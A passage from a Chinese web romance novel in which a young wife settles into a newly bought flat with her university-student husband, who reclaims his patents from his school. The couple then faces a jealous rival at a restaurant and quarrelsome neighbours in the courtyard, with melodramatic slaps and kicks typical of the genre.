而且不只是钱的事，是那种“以后有地方住了”的踏实。 顾煜看着她这副样子，没再追问，只伸手轻轻拍了拍她的手背：“这里先住着，等后面我们再换。” 言昭疑惑歪着脑袋：“还要换吗？” 顾煜笑着说：“你老公还是很会赚钱的，等我毕业吧。” 言昭被这句老公弄的脸又开始冒烟了。 …… 房东显然也没想到，这对小夫妻办事这么利索。 从谈价格到点头买下，几乎没怎么犹豫。 等一路跟着跑手续的时候，才慢慢反应过来，又忍不住多看了顾煜几眼。 得知他是京大的学生，房东当场就感慨了一句，说这气质一看就跟普通人不一样，站在人群里都显眼。 话说到一半，目光又落到言昭身上。 小媳妇站在旁边，安安静静的，话不多，眼神却一直跟着顾煜走，看着确实有点胆怯，但又不是那种没主意的。 房东想起刚才砍价的事，心里暗暗改了看法，也没再多说什么。 大概也是怕夜长梦多，房东这边格外配合。 周末本来手续慢，可顾煜拿出来的证件齐全，又有一份能直接走流程的证明，几个地方跑下来，竟然一路顺畅。 等到下午，房子的过户手续就办妥了。 钥匙交到顾煜手里的那一刻，言昭很是激动。 房东临走前，又折返回来一趟，把一个新的热水壶放在桌上，笑呵呵地说是添个喜气，冬天用得上。 言昭连忙道谢。 等门关上，屋子里一下子安静下来。 这地方不大，也算不上新，可窗户明亮，地面干净，连空气都像是安定的。 言昭站在屋中央，有点不敢动，像是怕一动，这一切就不是真的了。 顾煜看了她一眼，把钥匙放进她手心里。 “以后，这是我们的地方。” 言昭低头看着掌心那串钥匙，指尖忽然一抖，眼泪就这么毫无预兆地掉了下来，一颗接一颗，怎么都止不住。 顾煜明显愣了一下。 他大概从没见过她这样。 平日里不管受多少委屈，她也只是低着头忍着。 这一下，顾煜反而慌了。 他连忙拉着她坐到屋里唯一的一张板凳上，自己蹲下身，视线与她齐平，声音都放轻了不少。 “昭昭，怎么了？” 言昭也觉得自己在这种时候哭，实在不吉利，赶紧抬手胡乱抹了抹眼睛，努力挤出一个笑。 “没事……就是、就是高兴。” 顾煜伸出手，一根指腹轻轻擦过她脸颊，把没来得及抹干净的泪水抹掉，另一只手托着她的后脑。 他靠得很近，近到她能清楚感受到他的呼吸。 言昭的眼睛一下子睁大了。 她像是被定住了似的，连呼吸都忘了，胸口一阵发紧，心跳声在耳边咚咚作响。 顾煜本来确实想再靠近一点。 想做点什么。 比如亲她。 可就在那一瞬，他看见她因为自己的靠近而显得那样紧张，被狠狠吓住的模样。 顾煜叹了口气。 那口气很轻，像是把什么强行压了回去。 他没有再继续，只是抬手，指腹轻轻在她脸颊上拍了拍，语气低低的，带着点无奈。 “喘气。” 言昭这才猛地回过神来。 她立刻大口吸了一口气，胸腔起伏得明显，脸颊瞬间红透，连耳朵尖都跟着发烫。 顾煜站起身，说自己回学校一趟，把宿舍里的东西拿过来。 言昭下意识就摇头，说要跟他一起去。 顾煜却没答应，只低声说那点东西不多，他自己来就行，让她先在这边熟悉一下环境，别乱跑，等他回来。 语气不重，却不容拒绝。 言昭只好点头。 等门被关上，屋子里一下子安静下来。 她发现这间房真的不小。 比宿舍大了一倍不止，窗户朝南，光线很好，墙面一整排都打了柜子。 言昭站在屋子中间，转了一圈，又转了一圈。 脚踩在平整的地面上，没有泥，没有坑洼。 她伸手摸了摸墙，又摸了摸柜子的木板。 然后言昭又慢慢坐到板凳上，双手放在膝盖上，心跳一点点平复下来。 刚才那点紧张、慌乱、还有被顾煜靠近时的失措，渐渐平复了下来。 …… 顾煜回到学校时，脸色已经彻底沉了下来。 他先去了招生办，把手里的钥匙放到桌上，语气冷淡，简单说明自己即日起不再使用那间实验室和寝室。 工作人员明显愣了一下，想说什么，顾煜已经转身离开。 随后他去找了王老师，直接拒绝了对方之前的提议。 没有争执，也没有解释，只是态度明确得近乎冷硬。 王老师看着他的背影，张了张嘴，最终什么都没说。 再之后，他去了校长办公室。 这一次，顾煜说得很清楚—— 他要收回自己名下的专利使用权。 若是学校或任何人未经许可继续用他的专利开发项目，他会直接走法律途径，必要时找公安局处理。 校长脸色变了几次。 顾煜神色始终平静，像是在谈一件再普通不过的事。 从办公楼出来，他径直回了寝室。 书、资料、衣物，一样一样装进袋子里。 没多久，他喊来的三人也到了，陈离他们看见这阵仗都有点愣，但谁也没多问，只是帮着一起收拾。 寝室很快空了下来。 只剩下床板，还有空气里那股淡淡的旧书味。 顾煜拎着袋子站了一会儿，语气平静得近乎冷淡：“我的专利已经全部收回来了。你去跟你老师说，我可以同意转系到他那边。” 他顿了一下，补了一句：“但我只有一个条件。” 陈离一听这话，整个人几乎是跳起来的，声音都拔高了几分：“你肯转系？真的？！” 他激动得不行，连连点头，“别说一个条件了，十个都行！你尽管开口！” …… 另一边，刘家。 刘曼青已经好几天没去学校了。 不是不想去，是不敢去。 那天之后，学校里的风向一下子就变了。 原本围着她转的人开始躲着她，走廊里有人看见她，目光里全是掩不住的讥讽，有的甚至当着面窃窃私语。 她一出现在视线里，就像成了个笑话。 刘曼青受不了。 她一回家就摔了东西，红着眼睛对父亲哭闹，说学校有人欺负她，说顾煜不识好歹，让父亲把他踢出学校，还要把那间宿舍也收回来，让他连个落脚的地方都没有。 在她眼里，这一切都理所当然。 她甚至已经在心里编好了后续。 顾煜那样的人，最在乎前途，最在乎钱。 等被逼到走投无路，肯定会低头来找她道歉，说以前都是他的错，说不该护着那个乡下女人，说自己一时糊涂。 到时候，她再慢慢“原谅”他，让他知道什么叫后悔。 她连怎么羞辱他、怎么让他当众低头的场面都想好了，越想越兴奋，心里那股气才稍微顺了一点。 可就在这时，门口传来动静。 刘父回来了。 一进门，他脸色就不太好，外套都没脱，径直走到客厅，声音压得很低，却透着明显的烦躁：“曼青，你过来。” 刘曼青心里一喜，以为事情已经办妥，立刻站起身：“爸，是不是已经把顾煜——” 刘父打断她的话，说道：“明天，去找顾煜。” 刘曼青一愣，下意识皱眉：“找他干什么？是他得罪我——” “去道歉。”刘父一字一句地说。 这句话像一记闷雷。 刘曼青的脸色瞬间变了，声音都变了调：“爸，你在说什么？” 刘父深吸了一口气，像是在强行压住翻涌的情绪，语气却一点点沉了下来：“不只是道歉。你要把姿态放低，低到不能再低。哪怕跪下来，只要他肯原谅你，你都得去做。” 刘曼青几乎是条件反射地摇头，声音又急又尖：“我不要。” 话音刚落—— “啪！” 清脆的一声在客厅里炸开。 刘曼青整个人被打得偏过头去，脸颊火辣辣地疼，耳边一阵嗡鸣。 她愣在原地，像是没反应过来。 从小到大，她被家里人捧在手心里，别说打，连一句重话都没挨过。 可现在，这一巴掌实实在在落在她脸上。 刘曼青慢慢抬起头，眼眶迅速红了，眼里满是不敢置信。 第13章 不是你让我喊姐姐吗？ 言昭把新屋子从里到外都看了一遍。 屋里虽然是筒子楼的格局，可比宿舍宽敞太多了，地面干干净净的，没有一点泥水。 最让她惊喜的是后面还有个小院子，水泥地上拉着几根绳子，一看就是平时大家晒衣服、被子的地方。 她站在院子里抬头看了一会儿，心里莫名踏实下来。 正看着，就遇到了几个邻居。 都是年纪偏大的妇人，手里不是端着盆，就是拎着菜，一看见她这个生面孔，目光就落了过来。 有人主动开口问她。 言昭有点紧张，但还是老老实实答了。 一听说是刚买下来的房子，几个人的眼神立刻不一样了。 又有人顺嘴问起她家里情况，言昭不想把自家的事情说出去。 言昭不想把自家的事情说出去，可有人看到了顾煜——他身上穿的是京大的外套，有人认识，说那是京大的学生穿的。 “哎哟，京大的啊，那可了不得。” “难怪呢，一看就不是普通人。” “现在能在京大读书的，都是有本事的。” 这些话一句一句落下来，言昭听得心里发热。 她低着头笑了笑，手指无意识地绞着衣角，心里却是高兴的。 哪知道话锋一转，其中一个妇人打量了她一眼，忽然问：“那你是他姐姐吧？” 言昭愣了一下。 要是放在以前，她大概会顺口应下，可现在这句话却卡在喉咙里，说不出口。 她下意识想说不是。 顾煜最近对她的态度一一在脑子里闪过，那些靠近、那些护着、那些不动声色的偏袒，让她脸颊慢慢发起热来。 她不敢细想，更不敢往深里想。 正当她局促得不知道该怎么回答时，旁边又有个妇人笑着插话：“肯定是姐姐啊，瞧着她弟弟多年轻啊。” 言昭一下子就没说话了。 那妇人像是越说越起劲，笑眯眯地接着道：“你弟弟有对象没？我有个女儿，也在京市上大学，就在京大不远，人长得很漂亮——” 话还没说完，一道声音从院门口传来。 “昭昭。” 声音不高，但很清晰。 言昭猛地抬头。 顾煜回来了。 他手里拎着好几个包，肩上还挎着一个装被褥的袋子，明显是刚从学校那边过来，额角有点汗，神情在看到她的那一刻放的很松。 目光一落到她身上，便自然地停住了。 言昭心口一跳，几乎是本能地朝他跑了过去。 “你回来了。”她站到他面前，下意识伸手想接他手里的东西，又觉得不太好，手在半空中顿了一下。 顾煜把其中一个轻一点的袋子递给她，语气自然：“帮我拿这个。” 言昭立刻接过来，抱在怀里，像是终于找到了该站的位置。 院子里那几个妇人也都看了过来。 顾煜目光在她们脸上扫了一眼，很淡，却带着一种让人不太敢多话的疏离。 他站在言昭身侧，顺手把剩下的东西换了个手提，动作间不动声色地挡在她前面。 “搬家呀。”有人笑着问。 顾煜点了下头，语气平静：“嗯，你们好，我们是今天刚住进来的。” 那妇人笑着开口：“我们刚还在跟你姐姐说话呢。” 顾煜侧头看了言昭一眼。 那一眼很短，却让言昭心口猛地收紧。 下一秒，他开口了。 “不是姐姐。” 声音不重，却很清楚。 院子里一下子安静了。 言昭呼吸一滞，下意识抬头看他。 顾煜已经收回视线，只淡淡补了一句：“是我爱人。”他说完，就低头对她道：“昭昭，我们走吧，东西要拿进去放。” 言昭整个人像是被这句话定在原地，脸一下子热到不行，耳朵都发烫。 她“嗯”了一声，声音轻得几乎听不见，还是抱紧怀里的袋子，跟着他往屋里走。 身后那几道目光，惊讶的、恍然的、意味深长的，都被关在了门外。 言昭把袋子放在屋里靠墙的位置，刚直起身，就察觉到不对。 顾煜脸上还是那副温和的表情，嘴角甚至带着一点若有若无的笑意，可整个人的气息却明显冷了下来。 不是对她发脾气的那种冷，更像是情绪被压住了，没有往外放。 言昭心里轻轻咯噔了一下。 她下意识想起刚才院子里的话。 难道是外面的人以为自己是他姐姐？ 他以为是自己说的吗？ 她张了张嘴，想解释点什么，又很快停住了。 万一是她想多了呢？ 要是他根本没在意，她反而先提起来，倒显得自己自恋。 言昭犹豫了几秒，最后什么也没说，只默默转身，开始收拾东西。 可她刚把一个布袋拆开，顾煜那边已经把另外两个袋子全打开了。 动作很快，也很利落。 衣服一件件叠好，按深浅分开，直接放进柜子里。 书本和文件整齐地摞在桌角。 洗漱用品被他顺手放到盆架上，位置摆得刚刚好。 整个过程几乎没给她插手的机会。 言昭站在一旁，手里还攥着没来得及放下的布袋，忽然有点不知所措。 她想帮忙，可现在发现已经没什么需要她做的了。 顾煜把最后一件外套挂好，才像是忽然想起她还站着，侧头看过来。 “怎么了？”他语气依旧温和。 言昭被他这一句问得一愣，连忙摇头。 她抿了抿唇，终于还是没忍住，小心翼翼地开口：“刚才在外面……她们说的话，你别往心里去。” 话一出口，她就有点紧张，眼睛不自觉地看向别处。 屋里安静了两秒。 顾煜动作停了一下。 然后他走到她面前，伸手把她旁边的袋子往旁边挪了挪，腾出一点空间，才低声开口：“说的什么话？” 言昭唇瓣动了动，发现自己一句完整的话都拼不出来。 她本来就不太会解释这种事，更何况是这种连自己都没想清楚的情绪。 她低下头，手指无意识地绞着衣角，声音轻得几乎听不见：“就……外面那些人说的。” 顾煜垂着眼看她，神色比刚才缓和了一些，眼底那点生气还没完全散去。 他像是已经明白了，却没有立刻接话。 屋子里安静了片刻。 然后，毫无预兆地，他往前走了一步。 距离一下子被拉得很近。 言昭还没反应过来，就听见他低低地喊了一声：“姐姐。” 那两个字落下来的一瞬间，言昭猛地抬起头。 眼里全是错愕。 她几乎是本能地看向他，像是不敢相信自己刚才听到的是什么。 顾煜却已经俯下身，凑到她耳边，气息压得很低，又慢慢地喊了一声：“姐姐。” 他的声音刻意放轻，带着一点若有若无的笑意，却又不像在玩笑。 “你在问什么？”他低声问。 这声“姐姐”落下来的一瞬，言昭脑子里猛地闪过一段很久以前的画面。 那还是小时候。 有人问起两人的关系，顾煜会很小声地喊她一声姐姐。 后来被婶子知道了。 婶子当时拧着眉，“她不是你姐姐，是你媳妇。” 顾煜被说了之后，就再也没叫过她姐姐。 直到现在。 这一声，是他贴着她耳边喊出来的。 低低的，慢慢的，像是故意的，又像是在确认什么。 言昭的耳朵瞬间热得发麻，热意顺着脖颈往上爬，半边脸都烧了起来。 她呼吸乱了一拍，心口跳得又急又重，连自己都听得见。 也想开口反驳，想说不是，可喉咙像是被什么堵住了一样，只发出一声极轻的气音。 此刻顾煜还靠得很近，近到她几乎能感觉到他说话时胸腔的震动。 她张了张嘴，却一个字都没能说出来，只能下意识往后缩了一点，背却很快抵到了桌角，退无可退。 顾煜看着她这副反应，目光在她脸上停了一瞬，像是在确认什么，眼底那点被压着的情绪终于慢慢浮出来，却并不外露，反而显得愈发平静。 “姐姐？” 他叫得很轻，语调低低的，没有起伏，“喊你姐姐的时候，你不高兴吗？” 言昭心跳乱得厉害，喉咙发紧，好一会儿才找回自己的声音，小声又慌乱地说：“你……你别这样叫。” 顾煜看了她两秒。 那两秒里，他没有逼近，也没有退开，只是安静地看着，像是在衡量她这句话的分量。 随后，他很轻地笑了一下。 不是温和的笑，更像是一种带着确认意味的反应。 “那你告诉我。”他说得很慢，语气平直，“我该怎么叫？” 这一句，直接把言昭问得彻底乱了阵脚。 脸颊一下子热得不行，热意从耳根一路烧到脖子。 她索性偏过头去，不敢再看他。 下一瞬，她却忽然僵住了。 因为顾煜低下头，在她耳侧极轻地咬了一下。 那触感并不重，带着让人无法忽视的温热湿意，明显是刻意的让这柔软的东西触碰。 言昭在耳廓瞬间一麻，只觉得那细细的酥意沿着脖颈往下滑。 她几乎是条件反射地绷紧了肩背，整个人都呆住了。 顾煜很快就退开了。 退得干脆，像是刚才什么都没发生。 他没有继续做什么，只是声音再次贴近她耳边，低低地落下来。 “姐姐。”顾煜说得很慢，语气稳定，“你要是愿意听，我可以一直这样叫。” 然后就转身继续忙着整理东西。 而在这一刻，言昭几乎分不清自己是被吓到，还是被这句话震住了。 她怔怔地站在原地，指尖还在发麻，心口跳得一阵快一阵乱，完全不受控制。 哪怕是上辈子，她和顾城之间，最多也就是牵过手，偶尔靠得近一点。 不是顾城不想对她做什么，而是李玲一直在旁边盯着，那点越界的念头还没来得及生根，就被生生压了下去。 所以直到这一刻，她才后知后觉地意识到—— 这是她第一次，与一个男人有这样近、这样真实、这样让人无处可逃的亲密。 屋子里已经被顾煜收拾得差不多了。 顾煜拍了拍手，像是终于松了口气，语气也跟着放缓：“今晚吃点好的吧。”他说完，目光落到她身上，停了一瞬，又像是顺势补了一句：“你换条裙子。” 言昭本来已经把刚才那点乱七八糟的心绪压下去了。 他这会儿神情自然，语气平稳，仿佛刚才那一切都不存在。 偏偏这句话一出来，她心口还是轻轻一跳。 脸颊不受控制地热了起来。 言昭偏过头，声音闷闷的：“不去吃。” 顾煜像是早就预料到她会拒绝，没有急着靠近，只是往前凑了一点，低头看她，语气慢而笃定：“姐姐，你不饿吗？” 这一下，言昭是真的忍不住了。 她抬眼瞪了他一下，声音压得很低，带着点急：“你别再那样喊我了。” 顾煜像是认真想了想，随后歪了歪头，神情看起来很平静：“为什么？”他说得慢条斯理，“不是你自己说的，在外面要说我是你弟弟吗？” 语气合理，逻辑完整。 “我只是照你说的来。” 言昭被他一句话堵得说不出话来。 她张了张嘴，想反驳，却发现每一句都被提前封死。 脸颊热得更厉害，只能干脆移开视线，不再看他。 顾煜说：“昭昭，去换裙子吧。”他看着她发红的侧脸，唇角微微勾起，那弧度很浅，“要是再拒绝，我以后都这样喊。” …… 西式餐厅的门一推开，言昭就愣住了。 她是真没想到，自己这辈子还能踏进这种地方。 屋里亮堂得很，灯不是昏黄的那种，而是白白净净的，照得桌布都发着光。 桌子摆得整整齐齐，椅子也不像家里那样厚重，线条细细的，看着就精致。 空气里还有一股说不上来的香味，不是油烟味，也不是饭菜味，反而让人有点不敢大口呼吸。 她下意识攥紧了衣角，脚步慢了半拍。 正当她还在偷偷打量四周的时候，前面走过来一个洋人。 金色的头发，碧绿的眼睛，鼻子高得吓人，五官立体得像是刻出来的。 那人朝这边看了一眼，笑着点了点头。 言昭是真的被吓了一跳，脚步一乱，差点踉跄一下。 顾煜察觉到她的不适应，侧过身来，挡住了她的视线，声音压得很低：“这群外国人跟我们是一样，只是长得不一样。” 言昭还是忍不住小声问：“那他……他眼睛怎么是绿的？真的会吸魂吗？” 顾煜唇角动了一下：“世上无鬼怪，他们不会吸魂，只是白皮肤而已。” 第14章 言昭也是有脾气的 上辈子村里老人总说，洋人是勾人魂魄的东西，被看一眼，魂都要被带走。 谁家孩子夜里惊哭，谁家大人忽然病了，总能被拐到他们身上去说。 言昭当然是相信顾煜说的。 他读的书最多，见过的世面也多。 既然他说不会，那肯定就不会。 她心里这么想着，紧绷的那点害怕慢慢松了松，只是脚步还是下意识靠他近了一点。 餐厅里的人很多。 一眼望过去，几乎都是成双成对的男生和女生。 衣服款式新，颜色也亮，举止自然，一看就是在城里长大的。 言昭被顾煜带着坐下。 椅子很软，坐下去时还轻轻陷了一下，她却下意识绷直了背，双手规规矩矩地放在腿上，只觉得自己和周围格格不入。 顾煜坐在她对面。 灯光落下来，把他眉眼照得很干净。 他看着她这副拘谨的样子，唇角微微扬了一下，语气很轻：“这条裙子很适合你。” 言昭被夸的脸颊立刻热了起来。 她换好裙子的时候，其实连门都不太敢出，是被顾煜强硬拉着才走出来的。 到了餐厅，又被洋人的事分散了注意力。 现在被他这么一说，那点羞涩又慢慢出现在脸上。 在两个人气氛很好的时候，有个男人走了过来。 男人站在桌边，目光在言昭身上停了一下。 言昭的五官本就生得好，只是这些年常年劳作，皮肤显得粗糙了些。 今天脸上抹了顾煜给她买的面霜，又换了裙子，在头顶灯光一照下，整个人显得柔和不少。 再加上她此刻低着头、略显拘谨的模样，透着一股娇娇的气质。 那男人眼睛明显亮了亮。 随即笑着开口，语气带着几分调侃：“顾煜，我还以为你这人是和尚呢，没想到还真被这位刘小姐拿到手了。” 言昭听见“刘小姐”三个字，那点刚刚被夸出来的热意，几乎是瞬间就散了。 像是被冷水泼了一下。 她下意识抬了下眼，又很快垂下去，指尖微微收紧，心口也莫名空了一拍。 顾煜的神色也在那一瞬间变了。 脸上原本温和的笑意还在，却明显淡了几分，眼底压着的情绪很清楚。 他抬眼看向对方，唇角微微一弯，语气淡淡：“胡少，我和刘曼青没有任何关系。” 话说得很清楚。 随后，目光落回言昭身上，很大方的介绍：“这位是我爱人，言昭。以前一直在老家，最近才被我叫过来。” 这话一出，胡少明显愣了一下。 他眨了眨眼，又重新看了言昭一眼，这才意识到自己认错了人，脸上立刻浮起几分懊恼，连忙摆手道：“啊，这样，对不起，真是不好意思。” 言昭听见那句“爱人”，呼吸不由自主地慢了一拍。 她没抬头，只是坐在那里，背脊已经不知不觉挺直了一点。 胡少反应很快，便招手让人送了几份糕点过来，笑着说是赔礼道歉，让两人别往心里去。 不一会儿，盘子就被端上了桌。 白乎乎的，软绵绵的，看着就不像是寻常点心。 言昭一下子愣住了。 她上辈子只喝过一次奶粉。 那还是自己病的快死了，李玲勉为其难分到小半碗给她。 味道甜得不像真的。 她到现在都记得那个味道。 因为言昭没吃过什么好吃的，所以那段记忆一直很深。 她没敢动，只是偷偷看了一眼顾煜。 顾煜已经伸手拿起了一把小刀，动作很自然，把蛋糕切开。 但没想到，吃一顿饭，事情还是多。 胡少前脚刚走，言昭这边连那块软绵绵的蛋糕都还没送进嘴里，一道身影就已经出现在了桌前。 刘曼青。 言昭一眼认出来，愣了一下，是真的意外。 顾煜的脸色却在瞬间沉了下来。 刘曼青像是憋着一口气，声音直接拔高，毫不遮掩：“顾煜，你凭什么把专利收回去？” 餐厅里本就安静，这一句出来，周围立刻有人看了过来。 顾煜还没来得及开口，刘曼青已经情绪失控，抬手就要朝他脸上甩过去。 就在这一瞬间—— 言昭先一步动了。 她猛地站起身，用力握住了刘曼青的手腕。 刘曼青低头一看，脸色顿时变得狰狞起来，声音尖厉：“你算什么东西，竟然敢拦我？你——” 她另一只手立刻扬起，竟是直接朝言昭打过来。 这一次，顾煜没再给她任何机会。 他一脚踹了过去。 动作又快又狠。 刘曼青整个人失去平衡，直接被踹倒在地。 餐厅里瞬间一静。 无数道目光齐刷刷地投了过来。 言昭心口猛地跳了一下。 她很清楚，这种场面，最容易被人看歪。 更何况顾煜还是个大学生，名声最要紧，绝不能被人误会。 几乎没有犹豫，她当场开口，声音又大又清楚，直接压过了周围的杂音：“你总缠着我对象做什么？你一个城里姑娘，这么不害臊的吗？” 餐厅里很快就起了动静。 有人显然是认识刘曼青的，目光在她和顾煜之间来回扫了几下，低声说了句什么。 随即，周围响起一阵压得很低的议论声。 那些原本落在顾煜身上的视线，慢慢变了方向，变得意味不明。 没一会儿，餐厅的人就快步过来询问是怎么回事。 胡少作为刚刚误会的人，他赶紧走过来看看。 场面一时有些乱。 刘曼青还想说话，可情绪已经完全失控，加上顾煜那一脚也很用力。 她说出来的声音断断续续，根本说不清楚。 最后还是被人一左一右架住，直接往外拖。 餐厅里重新安静下来。 可那些目光，却没有立刻散去。 言昭重新坐下的时候，手还在微微发抖。 那股劲儿散得慢，她自己都没察觉，只是指尖搭在桌沿，怎么都稳不下来。 顾煜在她身旁坐下，伸手把她那双还在发颤的手握进掌心。 他的声音压得很低，语气平稳，带着一点刻意放缓的安抚：“既然这么害怕，刚才为什么还要站起来？” 言昭抿了下唇，过了几秒才说：“她怎么说我都无所谓，但是不能凶你。” 顾煜原本还在留意她的反应，听见这句话，指尖的动作停了一瞬。 他没有立刻说话。 那一瞬的沉默很短，却让人莫名感到紧绷。 随后，他低低地笑了一声。 笑意被压得很深，没有外放，只在眼底一闪而过，很快又被他收了回去。 “是吗。”他说。 语调很轻，像是在确认，又像是在把这句话记下来。 他的目光落在她脸上，没有躲避，也没有靠近，只是安静地看着，带着一种克制过度后的专注。 “昭昭这样护着我，”他缓缓开口，“我记住了。” 那不是感谢，更像是一种确认归属的陈述。 言昭眼睛眨眨…… …… 最后，顾煜还是把没怎么动的牛排和蛋糕都打包了。 两人离开餐厅的时候，外头已经暗了下来。 回到新房，门一关上，外头那些目光和议论全都被隔在了外面。 顾煜放下东西，也没急着吃。 他不知道从哪儿弄来一张不大的桌子，摆在屋子中间，又点了一根蜡烛。 火光轻轻晃着。 接着，他把打包好的牛排和蛋糕一样样拿出来，摆好。 屋子一下子就不一样了。 言昭站在旁边，看着这一幕，心脏跳得厉害。 那种跳，不是慌，是又快又乱，压都压不住。 她从来没想过，会有一个男人，愿意为她做这么多事情。 不是为了看别人眼色，也不是为了撑场面，只是安安静静地，把这些事一件件做好。 她喉咙发紧，忽然生出一种不真实感。 甚至忍不住怀疑—— 自己是不是还在溺死的那条冷水里。 是不是这所有的一切，都只是临死前的一场梦？ 顾煜牵着她坐下来，然后他把蜡烛往中间推了推，火光落在桌面上，轻轻晃着。 他说了一句：“这算是烛光晚餐。” 言昭低头吃着东西，牛排的味道她其实分辨不太出来，只知道不像想象中那么难入口。 可等到那块蛋糕被推到面前时，她还是顿了一下。 她小心翼翼地挖了一小口，送进嘴里。 很软。 又甜，又香。 那种甜不是冲的，是慢慢化开的，顺着舌尖往心口落。 言昭一下子就愣住了。 她忽然想起上辈子喝到那次奶粉时的感觉，也是这样，好像整个人都被一种温软的味道包住。 她低着头，一口一口吃着，吃得很慢，却一点都没停。 这是她吃过的，最好吃的东西之一。 只不过这一天，终究还是有点波折。 两人这顿烛光晚餐才吃到一半，外头忽然响起敲门声。 顾煜抬头看了一眼，起身过去开门。 门外有人低声说了几句，言昭听不太清，只看见顾煜的神情慢慢收敛下来。 他出去了一会儿。 再回来时，已经换了一副神色。 顾煜走到她面前，语气放得很轻：“昭昭，我要出去一下，可能会很晚回来。” 他顿了顿，又补了一句：“我先给你弄好热水，今晚你别等我。” 言昭愣了一下，下意识问：“要去哪？” 顾煜沉默了。 那一瞬间，言昭就明白了。 这件事，可能不能让她知道。 她立刻摇头，语气有点急：“没事的，你要是着急就去吧，热水我会自己弄。” 顾煜摇了摇头。 然后他也不知道从哪儿弄来一桶热水，放到一旁：“今晚可以擦擦，明日我带你去澡堂洗。” 说完，又转身把床铺仔细整理了一遍，被子抖开，铺得平平整整。 一切都弄好，他才拿起外套，朝门口走去。 门关上的声音很轻。 屋子里很快只剩下言昭一个人。 顾煜离开后，屋子一下子安静下来。 蜡烛还在桌上燃着，火苗轻轻晃动。 那桶热水冒着白气，把屋里熏得有点暖。 言昭站在原地没动。 心口空了一下，说不上来是失落，还是担心。 她盯着那点火光看了几秒，才慢慢吐出一口气，强迫自己不去多想。 他说会回来，那就一定会回来。 …… 院子外头，夜色已经彻底压下来。 顾煜一走出去，就看见几个人站在路灯下。 是警察。 没有人冲上来，态度也算礼貌。 胡少也在。 他一看见顾煜下来，立刻迎上前，语气明显有点无奈：“是刘曼青报的警。刘家也来人了，本来是想把她直接带走的，可她在警察局那边发疯，怎么都不配合，只能让你走一趟。” …… 这边言昭简单擦了一下身体。 她走到床边，看着新铺好的床，明显比宿舍那张要大一些，铺得也平整。 其实当时买床的时候，她心里是犹豫过的。 还问过一句，要不要干脆搞两张床。 顾煜当时看着她，眼神明显愣了一下，语气带着点疑惑：“为什么？” 她一时也说不上来。 结果旁边卖床的人立刻接了话：“两口子哪有分床睡的？这多不吉利啊。” 言昭想到这里，脸上有点发热。 她赶紧把这想法压下去，在心里骂了自己一句，强迫自己别乱想。 在言昭翻了个身，盯着屋顶看了一会儿，思绪慢慢转开。 白天在外面走的时候，她看到路边那些小摊子，卖吃的、卖用的，人来人往，生意看着都不差。 而且也不会被人抓。 言昭心里慢慢盘算起来，自己要不要也弄点活计。 她不可能让顾煜一直养着自己。 也不想成为顾煜的累赘。 言昭一边想着，一边等着顾煜回来。 可屋子里太安静，灯光又柔，她想着想着，就不知不觉睡了过去。 这一觉并不踏实。 等她再醒来时，天已经亮了。 身边的位置还是空的。 言昭心口猛地一紧，睡意一下子散了干净。 她坐起身，第一反应就是——他不会出什么事了吧？ 这个念头来得又快又急，她甚至来不及多想，就掀开被子下了床，脑子里已经在想要不要直接去京大找人。 可她刚站起来，视线就被桌子那边吸引住了。 桌上整整齐齐地摆着两个大肉包。 还放着一个瓷杯。 言昭怔了一下，走过去，伸手把瓷杯的盖子揭开。 里面是一碗豆浆。 热气还没散，显然放下没多久。 这是顾煜回来了？ 言昭面露欣喜，她端起那只瓷杯，入手还有温度。 他回来了就代表没事，现在没在肯定是学校有事。 她昨晚已经想到一个赚钱的法子，今天言昭打算试试。 她想了想就去把顾煜留在她的钱拿出来。 第15章 当着人家正主的面勾搭人 言昭心里一下子振奋起来。 顾煜不在身边，她反倒像脑子又回到了自己身上。 她拍了拍脸，让自己清醒一点，抬头看了看天，太阳正好，亮得很。 这么好的天气，不晒被子太可惜了。 她把被子抱出去，刚在院子里铺开，还没来得及理平，就被人不耐烦地呵了一声：“这是我家门口，你在晒什么晒？” 言昭愣了一下。 她是真没想到，连晒被子都有讲究。 她没吭声，把被子抱了回去。 在院子里转了一圈，才在角落里找到一个看着还算空的地方。 这回她干脆把两床被子一起铺上，压得平平整整，才放心回屋去打扫。 可等她再出来的时候，脚步却猛地一停。 自家的被子被扔在地上。 而她刚才铺被子的地方，已经换成了别人的被子。 言昭脑子“嗡”的一声。 火气一下子就上来了。 她走过去，把自己的被子从地上抱起来，灰沾了一身。 周围已经有人站着看热闹了。 目光里有好奇的，也有等着看笑话的。 尤其是上次那个被她拒绝过、想给顾煜介绍女儿的年长女人，此刻站在一旁，神情里带着点说不出的洋洋自得。 言昭一猜就知道是这人在搞事。 她没说话，而是抱着被子回了屋。 没一会儿，再出来时，手里已经提着一桶水。 她走到那两床被子前，没有半点犹豫，直接把水泼了过去。 水哗地一声洒下。 下一秒，尖叫声跟着响了起来。 院子里一下子炸开了。 那妇人先是愣了一瞬，随即扑到自己那床已经湿透的被子前，伸手一摸，脸色当场变了。 下一秒，她猛地转身，直冲言昭而来。 嘴里骂得又急又狠：“你个小娼妇！竟敢动我家的被子！我今天非撕了你这张脸不可！” 声音尖利得刺耳。 言昭站在原地没退。 她或许对付不了那些嘴皮子利索、心思多的城里姑娘。 可这种一上来就撒泼动手的，自己也是在村里见得太多了。 还没等那妇人扑到近前，言昭已经先一步动了。 她伸手一把扣住对方的手腕，紧接着，抬脚就是一下，狠狠踹在对方腿上。 动作利落，没有半点犹豫。 踹人这件事还是学的顾煜的。 那妇人完全没想到她会反击，更没想到她下手这么干脆，整个人失了平衡，惨叫一声，踉跄着往后倒去。 周围瞬间安静了一下。 谁也没想到，这个看起来柔柔弱弱、说话不多的小姑娘，动起手来会这么狠。 言昭站在那里，背脊挺得笔直，呼吸有点急，眼神很稳。 她抬起手，直接指向最开始那个说“自家门口位置是自家的”的女人。 “是你刚才说的吧？自家门口的位置算自家的？这位置正对着我家门口，难道我不能晒？” 那被踹倒的妇人还不肯消停，咬着牙就要再冲过来，嘴里骂得难听：“你家昨天才来！院子里哪有你家的位置！” 言昭抡起桶子，直接朝那妇人刚才被踹的那条腿砸了过去。 “咣”地一声。 妇人痛得嗷了一嗓子。 言昭站得笔直，声音一点不虚：“不能晒你们不能说？非要把我家被子扔地上？” 她把桶子往地上一放，语气冷硬得发狠：“我这一次泼的是水，下次，就别怪我泼尿！” 泼水还能晒干。 泼尿，那被子就真没法盖了。 原本看热闹的人都愣住了，互相对视了一眼。 谁也没想到，这个看着白白净净、说话不多的姑娘，脾气竟然这么辣。 言昭这一架干下来，原本还想插嘴的人，这会儿都闭了嘴。 没人再敢多说一句。 就在这时，那被揍的妇人的女儿回来了。 